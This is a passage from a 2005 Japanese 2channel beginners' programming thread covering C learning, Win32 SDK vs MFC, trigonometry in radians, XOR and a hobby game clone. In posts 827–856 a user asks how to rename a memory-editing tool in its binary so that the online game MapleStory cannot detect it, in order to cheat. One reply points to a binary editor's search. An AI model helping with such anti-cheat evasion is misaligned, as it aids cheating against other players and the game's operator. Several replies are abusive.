0744デフォルトの名無しさん2005/11/28(月) 17:51:27
>>742
さんくすw
0745デフォルトの名無しさん2005/11/28(月) 17:54:19
C#はC/C++と一緒に括らない方がいいと思う
0746デフォルトの名無しさん2005/11/28(月) 17:57:54
プログラム未経験者が
cである程度のGUIのツール(例でいうと簡単なブロック崩しとか)が作れるようになるのは
どれくらい必要ですかね?
一日一時間程度の勉強時間で考えてください。
0747デフォルトの名無しさん2005/11/28(月) 18:01:25
>>746
2ヶ月でどうよ
Cを覚えるのに3週間、WinAPIを最低限理解するのに1ヶ月ちょっと
0748デフォルトの名無しさん2005/11/28(月) 18:02:47
>>747
じゃあそれを目標に頑張ってみる事にします。
近くの本屋でよさそうな本を買いにいってきます。
0749デフォルトの名無しさん2005/11/28(月) 18:08:33
一日一時間じゃ、私なら半年以上かかるなぁ。たぶん。
前やったことってすぐ忘れるし。
0750デフォルトの名無しさん2005/11/28(月) 18:09:59
>>748
横レスだけど本はちゃんと選んだほうがいいよ。一冊高いしね。
C … プログラム「言語」としての本質でありGUIのものを作るのには足りない
C++ … Cを拡張した「言語」

Visual C++ … C++を用いたWindowsプログラミングができる
(GUIで何か作ってみたいならこっち、とにかく言語の予備知識をつけたいなら上)

ブロック崩しとか、ゲームが作れそうといって「Direct X」って書いた本選ぶと痛い目にあうよ
初歩なら「DirectX」「MFC」って言葉の書いてないVisual C++の本を買うと
目標としてる(?)GUIでブロック崩しに近づくと思う

基本的なことは
http://www.kumei.ne.jp/c_lang/ ここ見るのがいいよ。

長文すまん、最初参考にするものやら本で損したので書きたかったんだ
0751デフォルトの名無しさん2005/11/28(月) 18:10:50
分からない事はなんでもきけよ^^^
0752みずき ◆WnmizUKIg6 NGNG
>>746
http://www.amazon.co.jp/exec/obidos/ASIN/4797325453/250-8082113-9600214
これオススメ、C + Win32API参考書
テトリスとブロック崩し付き
0753デフォルトの名無しさん2005/11/28(月) 18:20:40
GUIならDelphiをオススメするけど、ここは一応C言語スレなのかな?
0754デフォルトの名無しさん2005/11/28(月) 18:20:47
うはw >>752はCをある程度マスターしてからですよ! ><
0755みずき ◆WnmizUKIg6 NGNG
>>754
あぁ、おすすめの本は?かと思った
"日本語"勉強してくるわ
0756デフォルトの名無しさん2005/11/28(月) 18:23:34
>751
誤爆しましたyyyyyyyyyyyyyyyyyyyyyyyyy
0757デフォルトの名無しさん2005/11/28(月) 18:24:03
このスレ流れ早杉です><
0758デフォルトの名無しさん2005/11/28(月) 18:24:39
>>748
Winアプリ作るのならSDKから入るべし
いきなりMFCとか無駄ス

はじめてのCとかはじめてのC++とか個人的には好き
基礎固めが大事だからC・C++言語の本は必ずいる
ただ、SDK使ったプログラミングとかになるとWebでも結構サンプルとか出てるから
それ見ながら作るのもよし、Windowsプログラミングと書いているのを買うのもよし
0759デフォルトの名無しさん2005/11/28(月) 18:24:55
>>756
D言語とC#とJ#、どれが良いですか?
0760デフォルトの名無しさん2005/11/28(月) 18:25:43
>>759
D言語が断然おすすめニダ
0761デフォルトの名無しさん2005/11/28(月) 18:26:12
vipperは世話好きさんが多いお (* ゚∀゚)人(゚∀゚ *)
0762デフォルトの名無しさん2005/11/28(月) 18:26:17
SDKとMFCって何がどう違うんだ?
VBとかDelphiみたいに視覚的にボタンとか配置できるのはどっち?
0763みずき ◆WnmizUKIg6 NGNG
>>757
http://www.vipper.org/vip148630.jpg
まだまだだね
0764デフォルトの名無しさん2005/11/28(月) 18:27:02
>>759
.NET Frameworkが必須なのはやめとき
趣味ならそれらの言語でかまわんと思うが
実践で使うならJava/C++/Cのどれかにすること
0765デフォルトの名無しさん2005/11/28(月) 18:28:07
>>762
SDKは基本的にCで書く
MFCはMSが提供してるクラスライブラリみたいなもんで言語はC++

SDKの仕組みを理解してからでないとMFCはとっつきにくい
0766デフォルトの名無しさん2005/11/28(月) 18:28:43
Qt4しかやったことないウリってどうなのニカ?
0767デフォルトの名無しさん2005/11/28(月) 18:29:22
>>763
誰も張り合ってはないと思うけど、
javaって人気あるんだねぇ。
0768デフォルトの名無しさん2005/11/28(月) 18:29:23
>>762
VC++を開発環境として使うのであれば新規作成の画面で
MFCアプリケーションとWin32アプリケーションと分かれてる。
0769デフォルトの名無しさん2005/11/28(月) 18:31:28
>>760,764
分かりました。
D言語で行こうと思います。
0770デフォルトの名無しさん2005/11/28(月) 18:33:03
>>743
>Borland C++ Compiler
>Visual C++ Toolkit 2003
>LSI C-86 体験版
>Borland C++ BuilderX Personal
>どれがいいんだ?

使ってる Windows が XP 以降なら VC++TK2003 一択。
そうでないならボーランドの方で。
0771デフォルトの名無しさん2005/11/28(月) 18:33:12
JAVAでGUIプログラミングしたいんだけどお奨めの開発ツールある?
0772デフォルトの名無しさん2005/11/28(月) 18:33:39
>>771
Xcode
0773デフォルトの名無しさん2005/11/28(月) 18:35:38
Assembler
Basic
C#
Delphi
この順番で学習していくのが効率がいいですよ。
そしてこれらを学んだらさっさと Ruby に移行しましょう。
0774デフォルトの名無しさん2005/11/28(月) 18:36:21
マカーは死ね
0775デフォルトの名無しさん2005/11/28(月) 18:36:58
>>770
ゴテンクスww
0776デフォルトの名無しさん2005/11/28(月) 18:37:18
>>773
ちょwwwwwおまwwwww

まあ、アセンブリはリンカーとかの関連で覚えるといいけどさ
0777デフォルトの名無しさん2005/11/28(月) 18:52:04
アセンブラってフリーのコンパイラあるのか?
0778デフォルトの名無しさん2005/11/28(月) 18:54:59
nasm
0779デフォルトの名無しさん2005/11/28(月) 18:58:27
GNU Assemblerもあるが

それと細かいことだが、アセンブリ言語をオブジェクトコードにするのが
アセンブラであって、コンパイラなんてものは存在しない
高級言語をオブジェクトコードへ変えるのがコンパイラ
0780デフォルトの名無しさん2005/11/28(月) 19:33:11
>>759
全部使った事ないがJ#は駄目だ。
開発効率を重視するならC#、性能を重視するならD言語でおk
0781デフォルトの名無しさん2005/11/28(月) 19:34:05
アセンブラ (翻訳プログラム)
アセンブリ (言語名称)
アセンブル (翻訳する行為)

コンパイラ (翻訳プログラム)
コンパイリ (×)
コンパイル (翻訳する行為)
0782デフォルトの名無しさん2005/11/28(月) 19:35:33
>>765
SDK=Cって適当すぎるだろ
っつうか理解できてないだろ
0783デフォルトの名無しさん2005/11/28(月) 19:40:01
だが、だが心配のし過ぎではないか。
0784デフォルトの名無しさん2005/11/28(月) 19:42:00
SDK=Cと書いてるように俺は見えないお
0785デフォルトの名無しさん2005/11/28(月) 19:48:21
C言語の半分はSDKでできています
0786デフォルトの名無しさん2005/11/28(月) 19:50:57
C言語の半分をお前にやろう

. はい
[>いいえ
0787デフォルトの名無しさん2005/11/28(月) 19:51:23
なあに、かえって免疫力がつく。
0788デフォルトの名無しさん2005/11/28(月) 19:52:42
だがなあに、かえって免疫力のつき過ぎではないか。
0789デフォルトの名無しさん2005/11/28(月) 20:13:46
あの、今昨日の>>626様の放物線をやってるんですが、

>  double vx = v * cos(d); /* 水平方向の速度 */
>  double vy = v * sin(d); /* 鉛直方向の速度 */

この二つはラジアン角?を入れるのでしょうか・・

double vx = v * cos(d*3.14189/180); /* 水平方向の速度 */

こんな感じで。
いちおうどっちでも放物線ぽい動きをしてくれそうなのですが。
ググってもアフォなので、じぇんじぇんわからないよ・・。

どなたかよろ (T_T)
0790デフォルトの名無しさん2005/11/28(月) 20:13:59
>>749
自分の書いたソースにはコメントいれて
あとで再利用できるようにしときなよ
ぜんぶ頭に入れることはない
0791デフォルトの名無しさん2005/11/28(月) 20:15:39
俺なんかいちいちgoogleで検索してコピペしてるぜ
0792デフォルトの名無しさん2005/11/28(月) 20:16:53
>>789
君にはコンパイラという頼もしい味方がいるではないか。
0793デフォルトの名無しさん2005/11/28(月) 20:17:00
>>791
koders.com使えよ
0794デフォルトの名無しさん2005/11/28(月) 20:17:16
>>771
Eclipse + VisualEditor (これセット内容で本も出てる)とか
JBuilder
NetBeans
0795みずき ◆WnmizUKIg6 NGNG
>>789
押入れから出てきた、十進BASIC 頑張って解析してちょ
http://www.vipper.org/vip148689.txt
0796789です2005/11/28(月) 20:41:56
>>792
たまに味方のはずのコンパイラに
ものすっごく連続で怒られるYO!

>>795
?
0797みずき ◆WnmizUKIg6 NGNG
>>796
放物線って言っても色々あるから
>>795はCじゃないけど参考になれば嬉しいな です
0798デフォルトの名無しさん2005/11/28(月) 20:46:39
ちくしょうVIPPERでもわかるプログラムかとおもったら難しいなこりゃ
プログラムってツンデレだな
0799デフォルトの名無しさん2005/11/28(月) 20:47:51
>>797
どもです。もうちょっとがむばってみまっす (`・ω・´)
0800デフォルトの名無しさん2005/11/28(月) 21:02:26
すみません。>>789の質問を取り下げます m(__)m

ラジアン角以外入れるとダメっぽいです。
テストで角度直入れしても普通に動いたんですが、
そのとき入れた値がたまたま普通に動く値だったみたいです orz
0801デフォルトの名無しさん2005/11/28(月) 21:06:50
>>800
普通、三角関数は全てラジアンを引数に取る
manみれば載ってるわけでわざわざ試すほどのことでも無いと思うが
0802デフォルトの名無しさん2005/11/28(月) 21:18:46
printfの次くらいにやる課題をくださいお( ^ω^)
0803デフォルトの名無しさん2005/11/28(月) 21:19:38
自分で考えた嘘放物線よか綺麗なのができたっぽいです。
ttp://www.vipper.org/vip148707.png

でもいまいちコントロールしにくい。


>>801
man??
0804デフォルトの名無しさん2005/11/28(月) 21:19:38
>>802
printf()を作る。

意外と面白いよ。
0805みずき ◆WnmizUKIg6 NGNG
>>802
自分の名前を入力したら
***お兄ちゃん、おかえり と出力するプログラム
scanfを使用
0806デフォルトの名無しさん2005/11/28(月) 21:20:34
じゃあprintfを使わないでhello,world表示してみ?
3種類作れたら合格
0807デフォルトの名無しさん2005/11/28(月) 21:20:35
VIPPEでもわかるプログラミングのサイト作ろうと思うんだけど
猫でも〜に怒られないかな?
0808デフォルトの名無しさん2005/11/28(月) 21:21:13
>>807
超期待
0809デフォルトの名無しさん2005/11/28(月) 21:23:40
>>807
怒られないと思う
期待age
0810デフォルトの名無しさん2005/11/28(月) 21:24:04
あ、下げてた
0811デフォルトの名無しさん2005/11/28(月) 21:24:32
とりあえず作ってみるお
0812デフォルトの名無しさん2005/11/28(月) 21:27:47
>>807
できることがあったら協力するお( ^ω^)
0813デフォルトの名無しさん2005/11/28(月) 21:33:14
>>806
puts("hello,world");

putchar('h');
putchar('e');
putchar('l');
putchar('l');
putchar('o');
putchar(',');
putchar('w');
putchar('o');
putchar('r');
putchar('l');
putchar('d');

AfxMessageBox("hello,world");
0814デフォルトの名無しさん2005/11/28(月) 21:35:24
>>803
ttp://www.linux.or.jp/JM/index.html
ちなみにsinはこれ ttp://www.linux.or.jp/JM/html/LDP_man-pages/man3/sin.3.html

そういやmanってmanualの略であってる?
0815みずき ◆WnmizUKIg6 NGNG
>>813
おまえ>>802か?俺1個も出来なかったぞ
0816デフォルトの名無しさん2005/11/28(月) 21:38:59
fprintf( stdout, "hello,world" );

これはダメかな?
0817デフォルトの名無しさん2005/11/28(月) 21:39:30
>>813
putcって手もあるな
普通のMessageBox関数でもいけるし
0818デフォルトの名無しさん2005/11/28(月) 21:45:24
>>814
なるほど。IT用語辞典とかで調べても出てこないわけだw
MSDNの一つには↓みたいに書いてありました。

public static native double sin( double a )
パラメータ
a
ラジアンで表した角度。
戻り値
引数のサイン。


ありがとん!
0819デフォルトの名無しさん2005/11/28(月) 21:50:57
>>818
それはおそらくCのsin関数ではない。気をつけろ。
0820デフォルトの名無しさん2005/11/28(月) 21:51:59
ところで>>750がCをプログラミング言語の本質と語っていることには誰も突っ込まないのか。
情けない。
0821デフォルトの名無しさん2005/11/28(月) 21:54:58
>>819
なんか候補が4つぐらい出てきたので、
ラジアンて書いてあるのをコピペしました ;^_^)
0822デフォルトの名無しさん2005/11/28(月) 21:55:28
C言語の半分は日本語でおkでできています
0823デフォルトの名無しさん2005/11/28(月) 22:08:25
バイナリに関しての質問をしたいのですが、ここでいいですか?
宜しければ誘導を。。
0824デフォルトの名無しさん2005/11/28(月) 22:09:42
>>821
こっちこい。
http://msdn.microsoft.com/library/ja/vclib/html/_crt_sin.2c_.sinh.asp
0825デフォルトの名無しさん2005/11/28(月) 22:10:23
>>823
とりえあず、投下してみれば?
0826デフォルトの名無しさん2005/11/28(月) 22:13:47
ifできるようなったお
0827デフォルトの名無しさん2005/11/28(月) 22:19:53
>>823
じゃあスレ汚しすみません、てことでここで、、
MapleStoryと言うオンラインゲームのチートをするために、うさみみハリケーンと言う
アプリケーションのプロセスメモリを書き換えるものを実行したいのですが、
Mapleを実行したままうさみみを実行するとMapleのほうが「このプロセスをMapleを同時実行できません」
とエラーを出します、競合というヤツらしいです。
バイナリで名前(恐らくプロセス名かと)を書き換えれば無問題らしいですが
うさみみをバイナリエディタで開いたデータの中から、Usamimiの文字列を探し出せばいいような気がするのですが
で、データの中から一定の文字列を探し出すにはどうすればいいのでしょうか、
という質問です。
0828デフォルトの名無しさん2005/11/28(月) 22:25:03
バイナリってそういう系か
0829デフォルトの名無しさん2005/11/28(月) 22:25:13
 _,
( ゚д゚)
0830デフォルトの名無しさん2005/11/28(月) 22:25:21
 _,
( ゚д゚)
0831デフォルトの名無しさん2005/11/28(月) 22:27:40
>>827
なんかあれな質問な上に質問の中に答えがあるんだけど・・・
BZとかStirlingとかのバイナリエディタで開けば普通に検索できる
これ以上はプログラムというか、ソフトの使い方なんで、そっちへどぞ。

0832デフォルトの名無しさん2005/11/28(月) 22:29:18
>>828
はい、すみませんが、こういう系です。
余計な事を書かないで「文字列を検索する方法を...」と書けば良かったかなぁ、と思いました。。
本当にすれ汚しすみません、と言う事で消えます。もし知ってる方居ましたら
“こういう系”のわかり易い説明を載せている所でも教えて頂きたいです。
0833デフォルトの名無しさん2005/11/28(月) 22:30:33
>>827
氏ね
0834デフォルトの名無しさん2005/11/28(月) 22:30:36
>>832
消えろカス
0835デフォルトの名無しさん2005/11/28(月) 22:30:51
>>833
いい奴乙
0836デフォルトの名無しさん2005/11/28(月) 22:31:10
>>833はツンデレ
0837デフォルトの名無しさん2005/11/28(月) 22:31:19
スレタイ読めや\(^o^)/
0838デフォルトの名無しさん2005/11/28(月) 22:31:41
>>832
死ね死ね死ね
08398072005/11/28(月) 22:32:00
挫折しますた
0840デフォルトの名無しさん2005/11/28(月) 22:32:51
>>839
テラハヤスwwwwwwwwwwwww
0841みずき ◆WnmizUKIg6 NGNG
>>839
感動した
0842デフォルトの名無しさん2005/11/28(月) 22:35:05
>>839
秋葉いけば何でも売ってるだろ
0843デフォルトの名無しさん2005/11/28(月) 22:35:51
>>839
まぁ、プログラミングなんて人によってかなり飲み込み違うしな
とりあえずはQ&A集から始めたらいいんじゃまいか?
0844デフォルトの名無しさん2005/11/28(月) 22:37:23
>>831
マジですか?Stirlingでうさみみを開いて
検索・移動(S)→検索→文字列検索、でusamimi、やってみましたが見つかりません、、
アスキー領域にusamimi、の文字列があるのですか?
もしくは、16進数ダンプ領域に、16進数に変換されたうさみみ、の文字列があるんですか?
>>833
すれ汚しすみませんです、それを、使っております。

ソフト板にStirlingのスレがなかったので
バイナリエディタについて、のスレで、この板に誘導されたのでこちらで質問させてもらいました。。
0845デフォルトの名無しさん2005/11/28(月) 22:40:10
>>844
死ね






死ね




死ね





死ね




死ね






死ね
0846上様 ◆V9ZN5iAEdc 2005/11/28(月) 22:41:28
ID表示ないのですね、、
あぼん推奨なのでコテ付けときます。今更ですが。。
0847デフォルトの名無しさん2005/11/28(月) 22:41:40
>>844
890 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 21:55:31 ID:JSIlBm610
バイナリデータに関しての質問がしたいのですがここじゃダメですよね?

891 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:01:05 ID:EkiYKZnd0
ム板かマ板いけ

892 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/11/28(月) 22:07:34 ID:JSIlBm610
ムの方でいいんですかね。どうもありがとう



VIPスレに来るな死ね
0848デフォルトの名無しさん2005/11/28(月) 22:43:51
>>846
死ねよカス
0849デフォルトの名無しさん2005/11/28(月) 22:45:03
>>847
そこでム板とマ板に誘導した奴氏ね
ネトゲサロン辺りで引き取れよ
0850デフォルトの名無しさん2005/11/28(月) 22:45:41
バイナリエディタについて
http://pc7.2ch.net/test/read.cgi/software/997199775/891


誘導したカス発見
0851デフォルトの名無しさん2005/11/28(月) 22:46:13
よし、今から誘導した奴潰すお
0852デフォルトの名無しさん2005/11/28(月) 22:48:37
うさみみ相談室になっとる
0853ねこみみメイド2005/11/28(月) 22:54:53
うさみみメイドに転職したいんですが...
0854デフォルトの名無しさん2005/11/28(月) 22:56:42
諦めだけが肝心
0855デフォルトの名無しさん2005/11/28(月) 22:57:06
>>827
http://live19.2ch.net/mmoqa/
ネトゲ質問板池
0856上様 ◆V9ZN5iAEdc 2005/11/28(月) 22:59:04
>>827
それこそスレ違いな気がしますが、ここには居場所がないので消えますね。
スレ汚しすみませんでした。
0857みずき ◆WnmizUKIg6 NGNG
MapleStroyか

うふふ
0858デフォルトの名無しさん2005/11/28(月) 23:00:37
>>857
なんだよ、お前は
0859デフォルトの名無しさん2005/11/28(月) 23:02:07
ネトゲ質問板を板違いと判断するのに、ここに来る意味がわからない
0860デフォルトの名無しさん2005/11/28(月) 23:02:50
人、それを厨房と呼ぶ
0861デフォルトの名無しさん2005/11/28(月) 23:05:01
エロゲ脳、それをドジっ娘と呼ぶ
0862デフォルトの名無しさん2005/11/28(月) 23:20:14
3日でcharポインタまで覚えた
うはwwwテラマンドクサスwwwwww
0863デフォルトの名無しさん2005/11/28(月) 23:25:32
Cには文字列型というのがないから面倒だな
0864デフォルトの名無しさん2005/11/28(月) 23:28:28
>>862
_  o
|| ._)
..乙|
0865デフォルトの名無しさん2005/11/28(月) 23:39:39
  っ
_ o っ
||(__
..乙|
0866デフォルトの名無しさん2005/11/28(月) 23:41:48
vcのインラインアセンブラでprintf呼び出さずに文字列表示って無理ですか?
0867デフォルトの名無しさん2005/11/28(月) 23:50:28
>>866
>>359が参考になるんじゃね?
0868デフォルトの名無しさん2005/11/29(火) 16:05:47
例外を覚えた

#include <iostream>

int main()
{
    int a=0, b=0, c=0;

    try
    {
        a=b/c;
    }
    catch( ...)
    {
        printf("zero divide\n");
    }

    return 0;
}
0869デフォルトの名無しさん2005/11/29(火) 16:15:58
先々週ぐらいにvipのプログラムスレで
「誰か爆裂カブトムシってゲーム作って〜」って依頼してたひと、
まだこのスレ見てます?

たぶん↓の絵を上げてくれた人だと思うのですが・・
http://www.vipper.org/vip149071.jpg

今ちょっと作り始めたんですが、
私そのゲームやったこと無いので二三質問が。
いますか〜。。
0870デフォルトの名無しさん2005/11/29(火) 16:17:39
>>869
ああ、俺やったことあるよそれ。何かのミニゲームだったような記憶がある。
0871デフォルトの名無しさん2005/11/29(火) 16:19:14
ttp://www.rpgdl.org/sfc/mario_game.html#mashcastle

スーパーマリオRPGだった
0872デフォルトの名無しさん2005/11/29(火) 16:19:52
SFCのマリオRPGのミニゲームらすぃです。

とりあえず、カブトムシが自機で甲羅が敵。
★が甲羅壊したときにでる弾?でいいんですかね。
0873デフォルトの名無しさん2005/11/29(火) 16:21:47
かぶった・・

>>871のサイトに基本的なことは書いてますね。
0874デフォルトの名無しさん2005/11/29(火) 17:05:01
今のVCってint 0x21なんて使えたっけ?
16bitじゃないと無理だったような……
0875デフォルトの名無しさん2005/11/29(火) 17:15:42
                   ,.、 ,.、
           ,.、 ,.、     ヽ'::':/
           ヽ'::':/      }:::{
            }:::{      l:::|
     ハァハァ     l:::|     :yァ|:::l
           i:yァ|:::l     l:(.ノ:::l   ちょwwwwおまwww
          l:(.ノ:::l  ,.r:::'':::!:::ヽ゚;~   __,俺wwwオスwwww
        ,.r:::'':::!:::ヽ゚;~ 〈;;;:::::::::::::::゙:i,,__,〃 ` ヤメレwwwwおちけつwww
       .〈;;;:::::::::::::::゙:i,,__,〃'''::::-:::〈ー‐"
      /~:::y'''::::-:::〈ー‐":::::::::::::〈:、
      /::::::/:::::::::::::〈:、::::/:::::::::::::/ ヾ! 
      /:::::/:::::::::::::/ ヾ!:/:::::::::::::〈:、 l:!
    ,:'!::::/:::::::::::::〈:、 l:!〈_:::;;;:::ノ .l:l  ヽ、 
.   〃ゝ〈_:::;;;:::ノ .l:l  ヽ、     l:!  
  _〃         l:!  
0876Baku(仮) ◆ryjMYLsfPA 2005/11/29(火) 18:33:28
カブトムシのプロトタイプ作り中。
今できてるとこまでうpります。
感じとしては、こんなんでしょうか?
やったことある人、どうか意見よろ m(__)m

色んな意味で目に悪いっぽいんですが・・
ttp://www.vipper.org/vip149111.zip
http://www.vipper.org/vip149112.png


絵はたぶんあとで入れます。たぶんw
0877Baku(仮)2005/11/29(火) 18:35:08
動作は全部マウスでやることになると思います。
なので、バランスはめちゃくちゃになるかと
0878みずき ◆WnmizUKIg6 NGNG
>>876
全米が完成を待ち望んでる
0879デフォルトの名無しさん2005/11/29(火) 18:39:03
>>878
どもです。ここからが難しそうなので、果たしてどうなるかなぁ。
今週中に終わらないと辞めるかもです。
0880デフォルトの名無しさん2005/11/29(火) 19:06:42
僕もlibvorbisをチューンしてみるお
0881デフォルトの名無しさん2005/11/29(火) 20:44:32
>>876
ヒント:ダブルバッファリング

ちなみにカブトムシゲームはブロック崩しで例えると
”動くブロックかな”もちろん上下左右のどこかにあたると跳ねる
あとは時間が経過するとともに速度が加速するのと
1個潰れると星が出てその星が別の甲羅に当たるとその甲羅も潰れてほかの甲羅をつぶせる

分かりやすく言うと核分裂反応と一緒で、中性子が核に当たってその核から(ry
0882デフォルトの名無しさん2005/11/29(火) 22:25:14
>>881
核分裂反応を例に出してる時点ですごくよくわかりませn
0883デフォルトの名無しさん2005/11/29(火) 22:41:01
>>882
簡単に言うと「誘爆」システム
連続で誘爆させればさせるほど点数が倍化する

あと、ただの落ちものじゃなく甲羅は画面の端で反射して、徐々に跳ねなくなって最後は爆発する
物理の知識が要るかな
0884デフォルトの名無しさん2005/11/29(火) 22:42:17
>>883
なるほど。わかったような気になる。

まったく関係ない話なのだがXOR演算というのについて詳しく
教えていただけないでしょうか。排他的論理和演算とか言うらしい
0885デフォルトの名無しさん2005/11/29(火) 22:59:52
A B
0 0 0
1 0 1
0 1 1
1 1 0
0886デフォルトの名無しさん2005/11/29(火) 23:00:23
↑のは真理値表ね
0887デフォルトの名無しさん2005/11/29(火) 23:00:23
>>884
電卓起動→表示→関数電卓→2進

でチンコいじるとなんとなく分かるよ
0888デフォルトの名無しさん2005/11/29(火) 23:03:06
>>884
885に書いてある通りで2つが違えば真、同じなら偽と俺は覚えた。

ちなみに排他的論理和のほかに論理差と言う言葉も見かけたことがある。
0889デフォルトの名無しさん2005/11/29(火) 23:03:07
>>885
ABが同じだと0になるってこと?
>>887
いじってくる
0890デフォルトの名無しさん2005/11/29(火) 23:05:01
>>888
なるほど。わかったけど何の役に立つのだろうか・・・。
0891デフォルトの名無しさん2005/11/29(火) 23:05:23
排他なんだから、どちらか一方のみっていう意味。
どちらか一方が真で真になる。
0892みずき ◆WnmizUKIg6 NGNG
>>890
色扱うときにも必要になるかもしれんのよ
0893デフォルトの名無しさん2005/11/29(火) 23:06:37
Office製品のパスワードクラックするとき以外の使い道は知らん
0894デフォルトの名無しさん2005/11/29(火) 23:08:53
>>890
01101011(2) の右半分(例えば)のビットを反転させたい時とか・・・

01101011(2) XOR 00001111(2)
0895デフォルトの名無しさん2005/11/29(火) 23:16:19
>>891
把握した
>>892
へぇ
>>893
詳しくw
>>894
なるほど。
0896デフォルトの名無しさん2005/11/29(火) 23:24:15
xorってレジスタを0にするときに使うよね
0897デフォルトの名無しさん2005/11/29(火) 23:34:45
return 0; とかな。
0898デフォルトの名無しさん2005/11/29(火) 23:40:45
ついに、このスレからゲームが生まれるんですね
0899みずき ◆WnmizUKIg6 NGNG
Game of the Year
0900デフォルトの名無しさん2005/11/29(火) 23:54:00
>>899
おまえ、ブログまで始めたのか
0901デフォルトの名無しさん2005/11/29(火) 23:54:08
レス番飛ぶと気になるからみずきはレスすんな
0902デフォルトの名無しさん2005/11/30(水) 00:08:57
NGワードしても結局気になって見てしまうから意味無し
0903みずき ◆WnmizUKIg6 NGNG
Nameあぼリスト0だから気持ちわからないな(´・ω・`)
自分色のブラウザ頑張って作ってくださいね
0904デフォルトの名無しさん2005/11/30(水) 00:13:32
>>903
性別おしえろ
0905みずき ◆WnmizUKIg6 NGNG
永遠の14歳
0906デフォルトの名無しさん2005/11/30(水) 00:15:58
みずきは男だよ
0907デフォルトの名無しさん2005/11/30(水) 00:16:00
♂か♀かきいてんだよ
0908デフォルトの名無しさん2005/11/30(水) 00:19:00
>>906
そうなんだ、女だったらまだNGはしなかったが
0909じぇりー ◆iU3JdxzRl6 2005/11/30(水) 00:27:06
じぇりーも男だよ。
0910デフォルトの名無しさん2005/11/30(水) 00:32:53
誰も聞いてないよ?
0911みずき ◆WnmizUKIg6 NGNG
クリスマス何かしませんか、案お待ちしてます

おまえら土日までに一本ゲーム作るスレ4
http://pc8.2ch.net/test/read.cgi/gamedev/1133008523/64-
0912デフォルトの名無しさん2005/11/30(水) 01:16:57
C++初心者でs
結構いろんなデータメンバを持ってるクラスXのインスタンスを100,00,00個くらい作りたいんだけど
それは生成するときはnew使ってるのです
でもスタックオーバーフローって出るのはそれぞれのインスタンスのデータメンバが溢れてるせいなのだろうか('A`)
0913デフォルトの名無しさん2005/11/30(水) 01:30:25
newで確保したポインタを格納する変数の方が問題なんじゃね?
0914デフォルトの名無しさん2005/11/30(水) 01:38:10
そーすうp
0915Baku(仮) ◆ryjMYLsfPA 2005/11/30(水) 02:14:31
>>881 >>883
な、なんか私、激しく勘違いしてた気が ;´д`)

カブトムシは画面下固定だと思ってたんですが、
自由に動けるんでしょか?

甲羅は上から下に落ちてくるだけだと思ってたんですが、
斜めにも動く??しかも画面端で反射??
出現甲羅の出現は基本的には上から降ってくる感じでいいんでしょか。

あとカブトムシの攻撃法がよくわからないのですが、
もしや>>876みたく弾撃つんじゃないとか?
>>871のサイトにも自爆して★を出すとかなんとか書いてあるし。

ググるとこちらのサイト様の→ttp://nagoya.cool.ne.jp/o_mega/product/e2.html
EveryExtendってゲームにちょっと似てるとか。
なんでも今度PSPに移植される凄いゲームらしいのですが。。

ダブルバッファリングはそろそろ必要っぽいですね ^^

>物理の知識が要るかな

('A`) マジデ・・
0916デフォルトの名無しさん2005/11/30(水) 02:21:27
http://www.google.co.jp/search?hl=ja&q=%E2%97%86ryjMYLsfPA&lr=
これはいい具合のコテですね
0917デフォルトの名無しさん2005/11/30(水) 02:22:51
エミュでやればいいじゃない。
0918デフォルトの名無しさん2005/11/30(水) 02:23:48
工エエェェ(´д`)ェェエエ工
0919Baku(仮)2005/11/30(水) 02:37:09
>>916
おや、前までググっても「VIPPER親子仲直り〜」だけだったのに、
なぜか一個増えてるw

>>917
ちょww
0920デフォルトの名無しさん2005/11/30(水) 02:43:27
>>915
物理って言っても重力加速度や跳ね返り程度だぞ
0921デフォルトの名無しさん2005/11/30(水) 02:47:33
>>915
ああ、このゲームを弾撃てるようにして甲羅が跳ね返るようにすればほぼそのとおりだよ


っつうかまさかパクリじゃ(ry
0922Baku(仮)2005/11/30(水) 02:58:47
>>920
それのみならならなんとか。

>>921
弾は撃てていいんですか。
背景マップに判定は無くていいんですよね。

あと、>>915のEveryExtendだと横から敵が出てきてるんですが、
カブトムシの場合も主に横から出るんでしょか?
0923デフォルトの名無しさん2005/11/30(水) 03:02:00
>>922
上から斜めに降ってくる
ボールを落とす感じ
0924デフォルトの名無しさん2005/11/30(水) 03:10:23
エディタなんかだとクローンといい、ゲームだとパクリといわれる

ま、そんなもんさ
0925デフォルトの名無しさん2005/11/30(水) 03:10:31
おお、ありがたや、ありがたや (-人-)
だいぶ固まってきたかも。

あと一個だけ!
敵倒したとき出る星の数と、
挙動はどんな感じでしょうか?
>>>>876のだとほぼ下方向に落ちていく感じなのですが、
もっとパーっと放射状に飛ばしたほうがいいんでしょうか。
質問ばっかしてすみません。
0926デフォルトの名無しさん2005/11/30(水) 03:33:45
>>925
放射状
0927デフォルトの名無しさん2005/11/30(水) 03:34:34
>>924
アイデアをパクるか使い易さをパクるかの違い…
じゃなくて単に劣化してるから。
0928デフォルトの名無しさん2005/11/30(水) 03:47:38
この場合はパクリとは言わんだろ、元あるものを再現しようとしてるんだから
すでにあるものを作りたいってのはよくわかんないけどね。
0929デフォルトの名無しさん2005/11/30(水) 03:59:45
>>928
俺がパクリじゃね?って言ったのはこっち→ttp://nagoya.cool.ne.jp/o_mega/product/e2.html

誘爆のシステムとかがモロで
0930デフォルトの名無しさん2005/11/30(水) 07:04:04
パクリ?
いやインスパイy
0931デフォルトの名無しさん2005/11/30(水) 08:52:55
パクリじゃなくて「ジャンル」だよw
0932デフォルトの名無しさん2005/11/30(水) 09:33:07
シューティングに酒飲ませて顔赤らめればオリジナルになるので無問題
0933デフォルトの名無しさん2005/11/30(水) 13:26:44
インスパイヤと言え!!
0934デフォルトの名無しさん2005/11/30(水) 13:53:29
IEコンポさん・・リファラ偽装させて下さい・・
0935デフォルトの名無しさん2005/11/30(水) 14:09:40
>>929
すま、よく見てなかった
0936デフォルトの名無しさん2005/11/30(水) 16:43:28
もちろん、誰も批判はしてないから気にするな

全てをありのまま受け入れるのがVIP
0937デフォルトの名無しさん2005/11/30(水) 16:56:17
勝手にVIPPERの定義を作っちゃうのがVIP
0938デフォルトの名無しさん2005/11/30(水) 18:41:01
>>912
たぶん
バカデカイ配列変数を関数内で宣言してるだろ
0939デフォルトの名無しさん2005/11/30(水) 18:49:19
>>912
なんのために100万個もw
しかも数字の点打つとこ間違ってるしww
0940みずき ◆WnmizUKIg6 NGNG
>>939
100,00,00個吹いた
